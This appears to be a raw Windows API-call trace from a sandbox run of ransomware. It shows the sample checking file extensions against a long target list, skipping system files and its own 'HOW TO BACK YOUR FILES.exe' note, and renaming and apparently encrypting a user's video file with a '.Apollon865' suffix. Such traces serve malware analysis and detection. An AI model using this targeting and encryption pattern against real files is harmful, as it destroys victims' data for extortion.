	[0086.426] lstrcmpiW (lpString1="7ocWvi.swf", lpString2="dadiagrams") returned -1
	[0086.426] lstrlenW (lpString="daschema") returned 8
	[0086.426] lstrcmpiW (lpString1="cWvi.swf", lpString2="daschema") returned -1
	[0086.426] lstrlenW (lpString="db-journal") returned 10
	[0086.426] lstrcmpiW (lpString1="7ocWvi.swf", lpString2="db-journal") returned -1
	[0086.426] lstrlenW (lpString="db-shm") returned 6
	[0086.426] lstrcmpiW (lpString1="vi.swf", lpString2="db-shm") returned 1
	[0086.426] lstrlenW (lpString="db-wal") returned 6
	[0086.426] lstrcmpiW (lpString1="vi.swf", lpString2="db-wal") returned 1
	[0086.426] lstrlenW (lpString="dbc") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1
	[0086.426] lstrlenW (lpString="dbs") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1
	[0086.426] lstrlenW (lpString="dbt") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1
	[0086.426] lstrlenW (lpString="dbv") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1
	[0086.426] lstrlenW (lpString="dbx") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1
	[0086.426] lstrlenW (lpString="dcb") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1
	[0086.426] lstrlenW (lpString="dct") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1
	[0086.426] lstrlenW (lpString="dcx") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1
	[0086.426] lstrlenW (lpString="ddl") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="ddl") returned 1
	[0086.426] lstrlenW (lpString="dlis") returned 4
	[0086.426] lstrcmpiW (lpString1=".swf", lpString2="dlis") returned -1
	[0086.426] lstrlenW (lpString="dp1") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dp1") returned 1
	[0086.426] lstrlenW (lpString="dqy") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dqy") returned 1
	[0086.426] lstrlenW (lpString="dsk") returned 3
	[0086.426] lstrcmpiW (lpString1="swf", lpString2="dsk") returned 1
	[0086.427] lstrlenW (lpString="dsn") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="dsn") returned 1
	[0086.427] lstrlenW (lpString="dtsx") returned 4
	[0086.427] lstrcmpiW (lpString1=".swf", lpString2="dtsx") returned -1
	[0086.427] lstrlenW (lpString="dxl") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="dxl") returned 1
	[0086.427] lstrlenW (lpString="eco") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="eco") returned 1
	[0086.427] lstrlenW (lpString="ecx") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="ecx") returned 1
	[0086.427] lstrlenW (lpString="edb") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="edb") returned 1
	[0086.427] lstrlenW (lpString="epim") returned 4
	[0086.427] lstrcmpiW (lpString1=".swf", lpString2="epim") returned -1
	[0086.427] lstrlenW (lpString="fcd") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fcd") returned 1
	[0086.427] lstrlenW (lpString="fdb") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fdb") returned 1
	[0086.427] lstrlenW (lpString="fic") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fic") returned 1
	[0086.427] lstrlenW (lpString="flexolibrary") returned 12
	[0086.427] lstrlenW (lpString="fm5") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fm5") returned 1
	[0086.427] lstrlenW (lpString="fmp") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fmp") returned 1
	[0086.427] lstrlenW (lpString="fmp12") returned 5
	[0086.427] lstrcmpiW (lpString1="i.swf", lpString2="fmp12") returned 1
	[0086.427] lstrlenW (lpString="fmpsl") returned 5
	[0086.427] lstrcmpiW (lpString1="i.swf", lpString2="fmpsl") returned 1
	[0086.427] lstrlenW (lpString="fol") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fol") returned 1
	[0086.427] lstrlenW (lpString="fp3") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fp3") returned 1
	[0086.427] lstrlenW (lpString="fp4") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fp4") returned 1
	[0086.427] lstrlenW (lpString="fp5") returned 3
	[0086.427] lstrcmpiW (lpString1="swf", lpString2="fp5") returned 1
	[0086.427] lstrlenW (lpString="fp7") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="fp7") returned 1
	[0086.428] lstrlenW (lpString="fpt") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="fpt") returned 1
	[0086.428] lstrlenW (lpString="frm") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="frm") returned 1
	[0086.428] lstrlenW (lpString="gdb") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1
	[0086.428] lstrlenW (lpString="gdb") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1
	[0086.428] lstrlenW (lpString="grdb") returned 4
	[0086.428] lstrcmpiW (lpString1=".swf", lpString2="grdb") returned -1
	[0086.428] lstrlenW (lpString="gwi") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="gwi") returned 1
	[0086.428] lstrlenW (lpString="hdb") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="hdb") returned 1
	[0086.428] lstrlenW (lpString="his") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="his") returned 1
	[0086.428] lstrlenW (lpString="ib") returned 2
	[0086.428] lstrcmpiW (lpString1="wf", lpString2="ib") returned 1
	[0086.428] lstrlenW (lpString="idb") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="idb") returned 1
	[0086.428] lstrlenW (lpString="ihx") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="ihx") returned 1
	[0086.428] lstrlenW (lpString="itdb") returned 4
	[0086.428] lstrcmpiW (lpString1=".swf", lpString2="itdb") returned -1
	[0086.428] lstrlenW (lpString="itw") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="itw") returned 1
	[0086.428] lstrlenW (lpString="jet") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="jet") returned 1
	[0086.428] lstrlenW (lpString="jtx") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="jtx") returned 1
	[0086.428] lstrlenW (lpString="kdb") returned 3
	[0086.428] lstrcmpiW (lpString1="swf", lpString2="kdb") returned 1
	[0086.428] lstrlenW (lpString="kexi") returned 4
	[0086.428] lstrcmpiW (lpString1=".swf", lpString2="kexi") returned -1
	[0086.428] lstrlenW (lpString="kexic") returned 5
	[0086.428] lstrcmpiW (lpString1="i.swf", lpString2="kexic") returned -1
	[0086.428] lstrlenW (lpString="kexis") returned 5
	[0086.429] lstrcmpiW (lpString1="i.swf", lpString2="kexis") returned -1
	[0086.429] lstrlenW (lpString="lgc") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="lgc") returned 1
	[0086.429] lstrlenW (lpString="lwx") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="lwx") returned 1
	[0086.429] lstrlenW (lpString="maf") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="maf") returned 1
	[0086.429] lstrlenW (lpString="maq") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="maq") returned 1
	[0086.429] lstrlenW (lpString="mar") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mar") returned 1
	[0086.429] lstrlenW (lpString="marshal") returned 7
	[0086.429] lstrcmpiW (lpString1="Wvi.swf", lpString2="marshal") returned 1
	[0086.429] lstrlenW (lpString="mas") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mas") returned 1
	[0086.429] lstrlenW (lpString="mav") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mav") returned 1
	[0086.429] lstrlenW (lpString="maw") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="maw") returned 1
	[0086.429] lstrlenW (lpString="mdbhtml") returned 7
	[0086.429] lstrcmpiW (lpString1="Wvi.swf", lpString2="mdbhtml") returned 1
	[0086.429] lstrlenW (lpString="mdn") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mdn") returned 1
	[0086.429] lstrlenW (lpString="mdt") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mdt") returned 1
	[0086.429] lstrlenW (lpString="mfd") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mfd") returned 1
	[0086.429] lstrlenW (lpString="mpd") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mpd") returned 1
	[0086.429] lstrlenW (lpString="mrg") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mrg") returned 1
	[0086.429] lstrlenW (lpString="mud") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mud") returned 1
	[0086.429] lstrlenW (lpString="mwb") returned 3
	[0086.429] lstrcmpiW (lpString1="swf", lpString2="mwb") returned 1
	[0086.429] lstrlenW (lpString="myd") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="myd") returned 1
	[0086.430] lstrlenW (lpString="ndf") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="ndf") returned 1
	[0086.430] lstrlenW (lpString="nnt") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="nnt") returned 1
	[0086.430] lstrlenW (lpString="nrmlib") returned 6
	[0086.430] lstrcmpiW (lpString1="vi.swf", lpString2="nrmlib") returned 1
	[0086.430] lstrlenW (lpString="ns2") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="ns2") returned 1
	[0086.430] lstrlenW (lpString="ns3") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="ns3") returned 1
	[0086.430] lstrlenW (lpString="ns4") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="ns4") returned 1
	[0086.430] lstrlenW (lpString="nsf") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="nsf") returned 1
	[0086.430] lstrlenW (lpString="nv") returned 2
	[0086.430] lstrcmpiW (lpString1="wf", lpString2="nv") returned 1
	[0086.430] lstrlenW (lpString="nv2") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="nv2") returned 1
	[0086.430] lstrlenW (lpString="nwdb") returned 4
	[0086.430] lstrcmpiW (lpString1=".swf", lpString2="nwdb") returned -1
	[0086.430] lstrlenW (lpString="nyf") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="nyf") returned 1
	[0086.430] lstrlenW (lpString="odb") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1
	[0086.430] lstrlenW (lpString="odb") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1
	[0086.430] lstrlenW (lpString="oqy") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="oqy") returned 1
	[0086.430] lstrlenW (lpString="ora") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="ora") returned 1
	[0086.430] lstrlenW (lpString="orx") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="orx") returned 1
	[0086.430] lstrlenW (lpString="owc") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="owc") returned 1
	[0086.430] lstrlenW (lpString="p96") returned 3
	[0086.430] lstrcmpiW (lpString1="swf", lpString2="p96") returned 1
	[0086.430] lstrlenW (lpString="p97") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="p97") returned 1
	[0086.431] lstrlenW (lpString="pan") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="pan") returned 1
	[0086.431] lstrlenW (lpString="pdb") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="pdb") returned 1
	[0086.431] lstrlenW (lpString="pdm") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="pdm") returned 1
	[0086.431] lstrlenW (lpString="pnz") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="pnz") returned 1
	[0086.431] lstrlenW (lpString="qry") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="qry") returned 1
	[0086.431] lstrlenW (lpString="qvd") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="qvd") returned 1
	[0086.431] lstrlenW (lpString="rbf") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="rbf") returned 1
	[0086.431] lstrlenW (lpString="rctd") returned 4
	[0086.431] lstrcmpiW (lpString1=".swf", lpString2="rctd") returned -1
	[0086.431] lstrlenW (lpString="rod") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="rod") returned 1
	[0086.431] lstrlenW (lpString="rodx") returned 4
	[0086.431] lstrcmpiW (lpString1=".swf", lpString2="rodx") returned -1
	[0086.431] lstrlenW (lpString="rpd") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="rpd") returned 1
	[0086.431] lstrlenW (lpString="rsd") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="rsd") returned 1
	[0086.431] lstrlenW (lpString="sas7bdat") returned 8
	[0086.431] lstrcmpiW (lpString1="cWvi.swf", lpString2="sas7bdat") returned -1
	[0086.431] lstrlenW (lpString="sbf") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="sbf") returned 1
	[0086.431] lstrlenW (lpString="scx") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="scx") returned 1
	[0086.431] lstrlenW (lpString="sdb") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="sdb") returned 1
	[0086.431] lstrlenW (lpString="sdc") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="sdc") returned 1
	[0086.431] lstrlenW (lpString="sdf") returned 3
	[0086.431] lstrcmpiW (lpString1="swf", lpString2="sdf") returned 1
	[0086.431] lstrlenW (lpString="sis") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="sis") returned 1
	[0086.432] lstrlenW (lpString="spq") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="spq") returned 1
	[0086.432] lstrlenW (lpString="te") returned 2
	[0086.432] lstrcmpiW (lpString1="wf", lpString2="te") returned 1
	[0086.432] lstrlenW (lpString="teacher") returned 7
	[0086.432] lstrcmpiW (lpString1="Wvi.swf", lpString2="teacher") returned 1
	[0086.432] lstrlenW (lpString="tmd") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="tmd") returned -1
	[0086.432] lstrlenW (lpString="tps") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="tps") returned -1
	[0086.432] lstrlenW (lpString="trc") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1
	[0086.432] lstrlenW (lpString="trc") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1
	[0086.432] lstrlenW (lpString="trm") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="trm") returned -1
	[0086.432] lstrlenW (lpString="udb") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="udb") returned -1
	[0086.432] lstrlenW (lpString="udl") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="udl") returned -1
	[0086.432] lstrlenW (lpString="usr") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="usr") returned -1
	[0086.432] lstrlenW (lpString="v12") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="v12") returned -1
	[0086.432] lstrlenW (lpString="vis") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="vis") returned -1
	[0086.432] lstrlenW (lpString="vpd") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="vpd") returned -1
	[0086.432] lstrlenW (lpString="vvv") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="vvv") returned -1
	[0086.432] lstrlenW (lpString="wdb") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="wdb") returned -1
	[0086.432] lstrlenW (lpString="wmdb") returned 4
	[0086.432] lstrcmpiW (lpString1=".swf", lpString2="wmdb") returned -1
	[0086.432] lstrlenW (lpString="wrk") returned 3
	[0086.432] lstrcmpiW (lpString1="swf", lpString2="wrk") returned -1
	[0086.432] lstrlenW (lpString="xdb") returned 3
	[0086.433] lstrcmpiW (lpString1="swf", lpString2="xdb") returned -1
	[0086.433] lstrlenW (lpString="xld") returned 3
	[0086.433] lstrcmpiW (lpString1="swf", lpString2="xld") returned -1
	[0086.433] lstrlenW (lpString="xmlff") returned 5
	[0086.433] lstrcmpiW (lpString1="i.swf", lpString2="xmlff") returned -1
	[0086.433] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\87ocWvi.swf.Apollon865") returned 70
	[0086.433] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\87ocWvi.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\87ocwvi.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\87ocWvi.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\87ocwvi.swf.apollon865"), dwFlags=0x1) returned 1
	[0086.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\87ocWvi.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\87ocwvi.swf.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.434] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=68251) returned 1
	[0086.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.434] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.435] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.435] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.435] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10da0, lpName=0x0) returned 0x15c
	[0086.435] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10da0) returned 0x120000
	[0086.438] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.439] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.439] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.439] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.440] CloseHandle (hObject=0x15c) returned 1
	[0086.440] CloseHandle (hObject=0x9c) returned 1
	[0086.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.441] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.441] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3013b0d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.441] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.441] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe74e48c0, ftCreationTime.dwHighDateTime=0x1d4caac, ftLastAccessTime.dwLowDateTime=0x9dfd9f20, ftLastAccessTime.dwHighDateTime=0x1d4d283, ftLastWriteTime.dwLowDateTime=0x9dfd9f20, ftLastWriteTime.dwHighDateTime=0x1d4d283, nFileSizeHigh=0x0, nFileSizeLow=0x12292, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MIISpjMHBYH.flv", cAlternateFileName="MIISPJ~1.FLV")) returned 1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="Apollon865.txt.exe") returned 1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".") returned 1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="..") returned 1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="windows") returned -1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="bootmgr") returned 1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="temp") returned -1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="pagefile.sys") returned -1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="boot") returned 1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="ids.txt") returned 1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="ntuser.dat") returned -1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="perflogs") returned -1
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2="MSBuild") returned -1
	[0086.442] lstrlenW (lpString="MIISpjMHBYH.flv") returned 15
	[0086.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\87ocWvi.swf") returned 59
	[0086.442] lstrcpyW (in: lpString1=0x119e668, lpString2="MIISpjMHBYH.flv" | out: lpString1="MIISpjMHBYH.flv") returned="MIISpjMHBYH.flv"
	[0086.442] lstrlenW (lpString="MIISpjMHBYH.flv") returned 15
	[0086.442] lstrlenW (lpString="Apollon865") returned 10
	[0086.442] lstrcmpiW (lpString1="jMHBYH.flv", lpString2="Apollon865") returned 1
	[0086.442] lstrlenW (lpString=".dll") returned 4
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".dll") returned 1
	[0086.442] lstrlenW (lpString=".lnk") returned 4
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".lnk") returned 1
	[0086.442] lstrlenW (lpString=".ini") returned 4
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".ini") returned 1
	[0086.442] lstrlenW (lpString=".sys") returned 4
	[0086.442] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".sys") returned 1
	[0086.442] lstrlenW (lpString="MIISpjMHBYH.flv") returned 15
	[0086.442] lstrlenW (lpString="bak") returned 3
	[0086.442] lstrcmpiW (lpString1="flv", lpString2="bak") returned 1
	[0086.442] lstrlenW (lpString="ba_") returned 3
	[0086.442] lstrcmpiW (lpString1="flv", lpString2="ba_") returned 1
	[0086.442] lstrlenW (lpString="dbb") returned 3
	[0086.442] lstrcmpiW (lpString1="flv", lpString2="dbb") returned 1
	[0086.442] lstrlenW (lpString="vmdk") returned 4
	[0086.442] lstrcmpiW (lpString1=".flv", lpString2="vmdk") returned -1
	[0086.443] lstrlenW (lpString="rar") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="rar") returned -1
	[0086.443] lstrlenW (lpString="zip") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="zip") returned -1
	[0086.443] lstrlenW (lpString="tgz") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="tgz") returned -1
	[0086.443] lstrlenW (lpString="vbox") returned 4
	[0086.443] lstrcmpiW (lpString1=".flv", lpString2="vbox") returned -1
	[0086.443] lstrlenW (lpString="vdi") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="vdi") returned -1
	[0086.443] lstrlenW (lpString="vhd") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="vhd") returned -1
	[0086.443] lstrlenW (lpString="vhdx") returned 4
	[0086.443] lstrcmpiW (lpString1=".flv", lpString2="vhdx") returned -1
	[0086.443] lstrlenW (lpString="avhd") returned 4
	[0086.443] lstrcmpiW (lpString1=".flv", lpString2="avhd") returned -1
	[0086.443] lstrlenW (lpString="db") returned 2
	[0086.443] lstrcmpiW (lpString1="lv", lpString2="db") returned 1
	[0086.443] lstrlenW (lpString="db2") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="db2") returned 1
	[0086.443] lstrlenW (lpString="db3") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="db3") returned 1
	[0086.443] lstrlenW (lpString="dbf") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="dbf") returned 1
	[0086.443] lstrlenW (lpString="mdf") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="mdf") returned -1
	[0086.443] lstrlenW (lpString="mdb") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="mdb") returned -1
	[0086.443] lstrlenW (lpString="sql") returned 3
	[0086.443] lstrcmpiW (lpString1="flv", lpString2="sql") returned -1
	[0086.443] lstrlenW (lpString="sqlite") returned 6
	[0086.443] lstrcmpiW (lpString1="YH.flv", lpString2="sqlite") returned 1
	[0086.443] lstrlenW (lpString="sqlite3") returned 7
	[0086.443] lstrcmpiW (lpString1="BYH.flv", lpString2="sqlite3") returned -1
	[0086.443] lstrlenW (lpString="sqlitedb") returned 8
	[0086.443] lstrcmpiW (lpString1="HBYH.flv", lpString2="sqlitedb") returned -1
	[0086.443] lstrlenW (lpString="xml") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="xml") returned -1
	[0086.444] lstrlenW (lpString="$er") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="$er") returned 1
	[0086.444] lstrlenW (lpString="4dd") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="4dd") returned 1
	[0086.444] lstrlenW (lpString="4dl") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="4dl") returned 1
	[0086.444] lstrlenW (lpString="^^^") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="^^^") returned 1
	[0086.444] lstrlenW (lpString="abs") returned 3
	[0086.444] lstrcmpiW (lpString1="flv", lpString2="abs") returned 1
	[0086.444] lstrlenW (lpString="abx") returned 3
